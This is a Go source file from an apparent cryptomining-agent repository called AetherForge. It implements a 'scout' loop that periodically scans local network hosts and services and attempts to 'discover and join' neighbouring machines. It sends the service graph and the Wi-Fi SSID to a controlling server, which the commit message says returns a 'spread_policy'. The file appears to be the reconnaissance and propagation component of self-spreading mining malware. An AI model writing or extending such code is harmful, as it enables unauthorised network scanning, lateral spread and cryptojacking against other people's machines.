Files
AetherForge/agent/client/scout_mode.go
AetherForge bbab38f8e1
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add scout constellation mode for APK venue persona packs.
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
2026-06-07 09:18:58 -07:00

79 lines
1.7 KiB
Go

package client
import (
"encoding/json"
"log"
"time"
"crypto-miner-agent/deploy"
)
const (
scoutInitialDelay = 90 * time.Second
scoutCycleInterval = 15 * time.Minute
)
func (c *AgentClient) startScoutRoving() {
go func() {
time.Sleep(scoutInitialDelay)
for {
c.runScoutCycle()
time.Sleep(scoutCycleInterval)
}
}()
}
func (c *AgentClient) runScoutCycle() {
c.mu.Lock()
cfg := c.cfg
c.mu.Unlock()
if !cfg.ScoutMode {
return
}
raw := deploy.RunServiceDiscover(32)
result, err := deploy.ParseServiceDiscoverJSON(raw)
if err != nil {
log.Printf("[scout] service_discover parse: %v", err)
return
}
serviceCount := len(result.Local.Services)
for _, h := range result.LANHosts {
serviceCount += len(h.Services)
}
lane := deploy.PickLocalJoinLane(raw)
if lane == "" {
if msg, derr := c.runDiscoverAndJoin(32); derr == nil {
lane = c.getJoinLane()
log.Printf("[scout] discover_and_join: %s (%s)", lane, msg)
} else {
log.Printf("[scout] discover_and_join skipped: %v", derr)
}
} else {
c.setJoinLane(lane)
log.Printf("[scout] service_graph join_lane_candidate=%s services=%d", lane, serviceCount)
}
c.pushScoutReport(result, lane, serviceCount)
}
func (c *AgentClient) pushScoutReport(result deploy.ServiceDiscoverResult, joinLane string, serviceCount int) {
report := map[string]interface{}{
"join_lane": joinLane,
"service_count": serviceCount,
"service_graph": result,
"scout_mode": true,
}
if ssid := deploy.ScoutWiFiSSID(); ssid != "" {
report["ssid"] = ssid
}
payload, err := json.Marshal(report)
if err != nil {
return
}
if err := c.write(Message{Type: "scout_report", Payload: payload}); err != nil {
log.Printf("[scout] scout_report write: %v", err)
}
}